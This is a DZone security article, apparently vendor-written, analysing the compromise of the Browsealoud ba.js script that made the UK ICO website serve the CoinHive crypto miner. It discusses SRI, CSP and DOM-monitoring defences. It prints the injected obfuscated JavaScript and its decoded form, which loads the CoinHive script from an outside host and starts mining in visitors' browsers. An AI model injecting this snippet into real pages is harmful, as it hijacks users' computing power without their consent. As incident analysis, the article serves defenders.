Over a million developers have joined DZone.

ICO Case Study: Tackling Cryptojacking With Real-time Webpage Monitoring

DZone's Guide to

ICO Case Study: Tackling Cryptojacking With Real-time Webpage Monitoring

A low-level look at how cryptojacking works to affect vulnerable JavaScript code, and how real-time webpage monitoring could help.

· Security Zone ·
Free Resource

Learning by doing is more effective than learning by watching - that’s why Codebashing offers a hands-on interactive training platform in 10 major programming languages. Learn more about AppSec training for enterprise developers.

This weekend the UK’s Information Commissioner’s Office website - ICO (https://ico.org.uk/) was caught serving the CoinHive crypto miner to its users. CoinHive crypto miner is a JavaScript that can be installed on any website for mining crypto (e.g. Monero - XMR).

Obviously, this wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise to a 3rd party provider, TextHelp, used in ICO’s website. This was flagged by Scott Helme - securityheaders.io and report-uri.com founder - after a tip from Ian Trump, another security expert.

The Attack

ICO’s website was loading this file: https://www.browsealoud.com/plus/scripts/ba.js, and that’s where the problem starts. By loading a JavaScript straight from a 3rd party website like this, they are basically opening the door for injection attacks. And it’s not a matter of trusting the 3rd party provider or not, as they can unknowingly be compromised, allowing the attackers to use it as a vehicle for the injection.

This was the bit that was added to the ba.js script:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');  

The code has a very light obfuscation that just uses Subscript Notation to transform window.document.write into window[‘document’][‘write’] - and, subsequently, String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code.

Here is a reversed version:

window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd=" + window["Math"]["random"]() + "'></script>");  
window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>');

It turns out that the ICO wasn’t the only website affected. More than 4000 websites reported to be loading the infected script directly from the browsealoud.com website.

This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery directly from their CDN, lasting a few hours before the injection was removed. This is far too appealing to attackers that can compromise users at scale by attacking dependencies being loaded dynamically.

The focus of those attacks seems to be shifting to Cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is one example. The attack on TextHelp is just one of the most recent ones.

Mitigation Using CSP + SRI

As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s require-sri-for directive to enforce the use of SRI tags.

This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded from.

But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are whitelisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum here. But, basically, there are plenty of ways for this to happen. A few examples:

  1. JSONP callback endpoints.
  2. Bypasses using AngularJS and other JS frameworks - there are documented CSP bypasses that may allow an attacker to inject arbitrary JS in the page.
  3. Use an open redirect on a whitelisted domain, as the path is ignored by CSP after a redirect.

The take away from this is that it is really hard to do whitelist-based CSP and skilled attackers will probably find bypasses. A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI).

In any case, you still need to use SRI to assure invalid scripts aren’t loaded, but, again, it's not a good option if the JS lib needs frequent updates. You can always host the file yourself, but that isn’t always possible in cases where the JavaScript is dynamically generated (which is a bad practice anyway).

Regarding CSP, a word of caution, as any header-based web security control can be disarmed by a browser extension.

Mitigation Using Real-Time Monitoring of the Web Page

If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real-time. That’s precisely what one is able to do with Jscrambler’s Webpage Integrity technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections.

In some cases, it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only it prevents that execution from affecting that session, it also tells you what was injected. It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently.

It’s similar to CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both. The advantages of Webpage Integrity’s approach is that, contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time).

The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected ba.js version (instead of the current one) into ICO’s website. At the same time, we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the document.write’s landing on the ICO’s webpage DOM and mitigate the attack.

Not only we were able to catch the injected <script> loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining. You can see this in the dashboard (see figure below) and, at the same time, you receive a notification on your backend upon which you can configure security policies.


Figure 1 - Webpage Integrity Dashboard showing one of the injections

The following video is a proof-of-concept of a reconstruction of the ICO cryptojacking attack and how it would have been detected with Real-time Webpage Monitoring.


With the growing popularity (and value) of cryptocurrencies, attackers are turning to stealing our computer’s cycles as a way to get cash. Cryptojacking has been all over the news in the last year or so. This TextHelp incident is just one more demonstrations of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies and target many websites with a single blow. We are sure to see more of these attacks in the future.

CSP is helpful for restricting external JavaScript from being loaded in a website but is not meant to assure the integrity of scripts that it expects to load. SRI can lay a hand there, but it’s hard to maintain when the scripts change often.

Jscrambler’s Webpage Integrity is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking and XSS - and reports back to the backend, allowing the web app to react immediately. With it, we were able to demonstrate that we can catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any other website likely to have been hit).

As a final note, here is a “what if” exercise: in these exploits, the attacker only cared about using the end-users’ CPU to mine crypto. However, the ability to execute arbitrary JavaScript in the webpage would allow the attacker to collect any sensitive information that the user accesses or completely modify the DOM and trick the user into giving away his credentials or perform some action that's not in his/her best interest. Client-side injections are a problem that need to be tackled as hard as one can.

Find out how CxSAST can help you scan uncompiled and unbuilt code while identifying hundreds of security vulnerabilities in the most prevalent coding languages.

application security ,cryptojacking ,web application security ,security ,javascript security

Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}